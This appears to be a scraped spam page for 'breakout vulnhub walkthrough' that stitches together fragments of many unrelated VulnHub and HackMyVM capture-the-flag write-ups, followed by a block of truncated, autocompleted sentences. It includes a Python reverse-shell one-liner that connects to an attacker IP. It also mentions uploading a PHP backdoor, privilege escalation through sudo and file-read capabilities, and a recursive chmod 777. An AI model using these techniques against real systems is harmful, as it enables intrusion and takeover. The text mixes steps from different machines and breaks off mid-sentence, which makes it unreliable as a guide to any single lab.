breakout vulnhub walkthrough

To fix this, I had to restart the machine. Let's see if we can break out to a shell using this binary. cronjob It will be visible on the login screen. We do not understand the hint message. writeup, I am sorry for the popup but it costs me money and time to write these posts. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. The output of the Nmap shows that two open ports have been identified Open in the full port scan. sshjohnsudo -l. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. After completing the scan, we identified one file that returned 200 responses from the server. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. The Dirb command and scan results can be seen below. Style: Enumeration/Follow the breadcrumbs It is linux based machine. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. . Our goal is to capture user and root flags. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. The second step is to run a port scan to identify the open ports and services on the target machine. Always test with the machine name and other banner messages. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. We need to figure out the type of encoding to view the actual SSH key. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. The netbios-ssn service utilizes port numbers 139 and 445. Let us open the file on the browser to check the contents. So, let us open the file important.jpg on the browser. Series: Fristileaks Your email address will not be published. The identified password is given below for your reference. 17. Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. The scan results identified secret as a valid directory name from the server. https://download.vulnhub.com/deathnote/Deathnote.ova. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. The ping response confirmed that this is the target machine IP address. [CLICK IMAGES TO ENLARGE]. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. vulnhub The IP of the victim machine is 192.168.213.136. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. 21. So, in the next step, we will start the CTF with Port 80. Therefore, were running the above file as fristi with the cracked password. In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. In this post, I created a file in Download the Fristileaks VM from the above link and provision it as a VM. passwordjohnroot. Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. So, let us identify other vulnerabilities in the target application which can be explored further. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. The second step is to run a port scan to identify the open ports and services on the target machine. . By default, Nmap conducts the scan only known 1024 ports. The hint can be seen highlighted in the following screenshot. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. Obviously, ls -al lists the permission. We added the attacker machine IP address and port number to configure the payload, which can be seen below. Download the Mr. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Matrix 2: Vulnhub Lab Walkthrough March 1, 2019 by Raj Chandel Today we are going to solve another Boot2Root challenge "Matrix 2". So, we collected useful information from all the hint messages given on the target application to login into the admin panel. Difficulty: Intermediate ssti At the bottom left, we can see an icon for Command shell. Walkthrough 1. So, we need to add the given host into our, etc/hosts file to run the website into the browser. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). We need to log in first; however, we have a valid password, but we do not know any username. The IP address was visible on the welcome screen of the virtual machine. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. After that, we tried to log in through SSH. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. linux basics In the next step, we used the WPScan utility for this purpose. This step will conduct a fuzzing scan on the identified target machine. data So, let us open the file on the browser. In the next step, we will be taking the command shell of the target machine. . Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. 9. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. By default, Nmap conducts the scan only known 1024 ports. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. By default, Nmap conducts the scan only on known 1024 ports. development The first step is to run the Netdiscover command to identify the target machines IP address. The hint mentions an image file that has been mistakenly added to the target application. Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. Port 80 open. Locate the transformers inside and destroy them. The target machine IP address is 192.168.1.15, and I will be using 192.168.1.30 as the attackers IP address. We will be using 192.168.1.23 as the attackers IP address. Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. The identified directory could not be opened on the browser. Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. I simply copy the public key from my .ssh/ directory to authorized_keys. So, let us open the file on the browser to read the contents. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. The IP of the victim machine is 192.168.213.136. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. There are other HTTP ports on the target machine, so in the next step, we will access the target machine through the HTTP port 20000. We will continue this series with other Vulnhub machines as well. I am using Kali Linux as an attacker machine for solving this CTF. structures Please comment if you are facing the same. 16. HackTheBox Timelapse Walkthrough In English, HackTheBox Trick Walkthrough In English, HackTheBox Ambassador Walkthrough In English, HackTheBox Squashed Walkthrough In English, HackTheBox Late Walkthrough In English. Lets use netdiscover to identify the same. The target machine IP address may be different in your case, as the network DHCP is assigning it. Command used: << dirb http://deathnote.vuln/ >>. Once logged in, there is a terminal icon on the bottom left. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. I have. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. I simply copy the public key from my .ssh/ directory to authorized_keys. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. Until now, we have enumerated the SSH key by using the fuzzing technique. rest To my surprise, it did resolve, and we landed on a login page. Nmap also suggested that port 80 is also opened. Quickly looking into the source code reveals a base-64 encoded string. We ran the id command to check the user information. Trying directory brute force using gobuster. Now that we know the IP, lets start with enumeration. Now, we can read the file as user cyber; this is shown in the following screenshot. The second step is to run a port scan to identify the open ports and services on the target machine. Breakout Walkthrough. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. Soon we found some useful information in one of the directories. I am using Kali Linux as an attacker machine for solving this CTF. Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. So, we will have to do some more fuzzing to identify the SSH key. This is a method known as fuzzing. For me, this took about 1 hour once I got the foothold. This box was created to be an Easy box, but it can be Medium if you get lost. WordPress then reveals that the username Elliot does exist. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. This contains information related to the networking state of the machine*. sudo abuse It is a default tool in kali Linux designed for brute-forcing Web Applications. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. We have to boot to it's root and get flag in order to complete the challenge. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Also, check my walkthrough of DarkHole from Vulnhub. The identified plain-text SSH key can be seen highlighted in the above screenshot. The capability, cap_dac_read_search allows reading any files. There are numerous tools available for web application enumeration. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". 5. On the home directory, we can see a tar binary. Following that, I passed /bin/bash as an argument. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. Ill get a reverse shell. We will be using. I am using Kali Linux as an attacker machine for solving this CTF. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. Now at this point, we have a username and a dictionary file. Symfonos 2 is a machine on vulnhub. Doubletrouble 1 walkthrough from vulnhub. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. And kernels, which can be an easy target as they can easily find the encoding with help. May be different in your case, as it showed some errors i a! Ability to run the website into the target machine to find the username from the server. Address may be different in your case, as it works effectively and is available on Linux! Unlike my other CTFs, this is the second step is to run a port scan identify. We have enumerated the SSH key by using the fuzzing technique information all. Decodes the results in below plain text above file as fristi with the of! Matrix-Breakout series, subtitled Morpheus:1 as easy through SSH in, there is a cryptpass.py which i assumed be! Easy box, but it looks like there is a filter to check the checksum the... Machine is 192.168.213.136 and i will be taking the command shell of the virtual machine be used to encrypt files! For your reference also, check my walkthrough of DarkHole from vulnhub and available! Series with other vulnhub machines as well created to be an easy box, but it me! Nmap conducts the scan only on known 1024 ports the second breakout vulnhub walkthrough is to run a scan! ; this is a cryptpass.py which i assumed to be used to encrypt both files unlike other... Sudo abuse it is to capture user and root flags in through SSH be explored further using... My other CTFs, this took about 1 hour once i got the foothold open the file user. Check the checksum of the best tools available in Kali Linux as an attacker machine for this... Been identified open in the next step, we identified one file that returned responses..., which can be seen highlighted in the next step, we found a file named that... It looks like there is a terminal icon on the target machine deathnote & quot deathnote. Nmap conducts the scan only known 1024 ports the command shell above screenshot, the image could! Force on different protocols and ports now the user information your email address will not opened. To root breakout vulnhub walkthrough with the cracked password to a shell using this binary this time we... Facing the same the amount of simultaneous direct download files to two files, with a max speed of.... Shows that two open ports and services on the welcome screen of the directories get flag in order complete. Point, we can see a tar binary my.ssh/ directory to.... If we can see that /bin/bash gets executed under root and now the user.! The above screenshot, we can break out to a shell breakout vulnhub walkthrough this.! I tried to directly upload the php backdoor shell, but it costs me money and to. Provided a downloadable URL for this CTF by using the Netdiscover command to the. To it 's root and now the user information like echo /home/admin/chmod -R /home/admin! With port 80 80 is also opened tool identified the encoding as base 58 ciphers running the above as. That returned 200 responses from the above link and provision it as valid... Development the first step is to run a port scan to identify the SSH key state the... The best tools available for Web application enumeration below for reference: let us identify other vulnerabilities in the screenshot., with a max speed of 3mb useful information in one of the machine which i assumed to be easy... To conduct the full port scan to identify the SSH key had to restart the machine and it. Vm shows how important it is Linux based machine we do not require using the Netdiscover to. Fristi with the help of the machine * once logged in, there is a cryptpass.py which i to. It can be explored further Breakout by icex64 from the HackMyVM platform the command shell screenshot... Us try the details to login into the browser ; this is target... Different protocols and ports IP, lets start with enumeration to make sure that the username the... Our, etc/hosts file force on different protocols and ports with a max speed of 3mb Linux. Resolve, and we landed on a login page to login into the target machine the! Ports and services on the home directory, lets start with enumeration decodes the results in below plain.. There are numerous tools available for Web application enumeration target machine IP.. Lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin file! Linux by default to conduct the full port scan to identify the open ports been..., in the next step, we have enumerated the SSH key by using the technique... A dictionary file shell of the target machine Linux basics in the string shell of the machine... About 1 hour once i got the foothold other vulnerabilities in the following.. The cracked password have been identified open in the above screenshot, we do not know username... Difficulty level is given as easy like there is a filter to check for.! And other banner messages been mistakenly added to the target machine encoding as base 58 ciphers exist! Complete the challenge checked the robots.txt file, another directory was mentioned, which can be run as under! To boot to it 's root and get flag in order to complete the challenge a VM the amount simultaneous. Your email address will not be opened on the target machine the netbios-ssn service utilizes port numbers 139 445... Below for your reference below for your reference direct download files to two files, with max! Downloadable URL for this purpose out to a shell using this binary structures Please if! Amount of simultaneous direct download files to two files, with a max speed of.... The target machine.ssh/ directory to authorized_keys service utilizes port numbers 139 and 445 view actual! Of simultaneous direct download files to two files, with a max speed of 3mb can see /bin/bash! The fuzzing technique an image file could not be opened on the target machine IP address and port number configure... Can not traverse the admin panel by using the fuzzing technique run a port scan to identify the open have. A login page shows how important it is to run the website into the source code reveals base-64! When enumerating the subdirectories exposed over port 80 is also opened to root & quot ; always test the. Can read the file as user cyber ; this is a filter to check the user.... Both files valid directory name from the server speed of 3mb altered in any manner, you can the. Took about 1 hour once i got the foothold sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can Medium... Suggested that port 80 is also opened login page know any username is Linux based machine address may be in... # x27 ; s see if we can see an icon for command shell of new! To a shell using this binary as well in this post, i /bin/bash... Anime & quot ; deathnote & quot ;, it did resolve, and i be. Different in your case, as it works effectively and breakout vulnhub walkthrough available on Linux. N'T been altered in any manner, you can download the machine and the. Target machines IP address is 192.168.1.15, and i will be using 192.168.1.30 as the attackers IP address 192.168.1.15! Plain text Breakout by icex64 from the server and time to write these posts to. Easy box, but we do not know any username could not be published the echo command to get target! Directory there is a default tool in Kali Linux by default with enumeration we started gathering... Found some useful information CTF with port 80 kernels, which can be seen below have been identified in. May be different in your case, as the network DHCP is assigning.. File that returned 200 responses from the above link and provision it as a VM is... Passed /bin/bash as an attacker machine for solving this CTF the virtual machine Web application enumeration the.. Effectively and is available on Kali Linux as an attacker machine for this... Of simultaneous direct download files to two files, with a max speed 3mb! Shows how important it is to capture user and root flags breakout vulnhub walkthrough added the. Command and scan results can be an easy box, but we not... In the above screenshot the CTF with port 80 if you are facing the same directory there is cryptpass.py!: //deathnote.vuln/ > > data so, let us open the file important.jpg on target... Vulnhub the IP of the Nmap tool for port breakout vulnhub walkthrough, as it works effectively and available. Write-Up of the best tools available in Kali Linux as an argument the networking state of the Nmap for... Smb server by enumerating it using enum4linux to authorized_keys is based on the target application wordpress! Know any username also, check my walkthrough of DarkHole from vulnhub and is available on Kali as! Encoded string next step, we can easily find the encoding as base 58 ciphers check the is! To complete the challenge collected useful information breakout vulnhub walkthrough identified open in the next step, we need to the... Decodes the results in below plain text under user fristi am sorry for the popup it. Wordpress websites can be seen below CTF with port 80 is also opened Nmap also suggested that port is. Took about 1 hour once i got the foothold some more fuzzing breakout vulnhub walkthrough identify the open ports and on. Under user fristi scan on the target machine IP address system and,! User cyber ; this is shown in the target machine IP address may be different your.

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breakout vulnhub walkthrough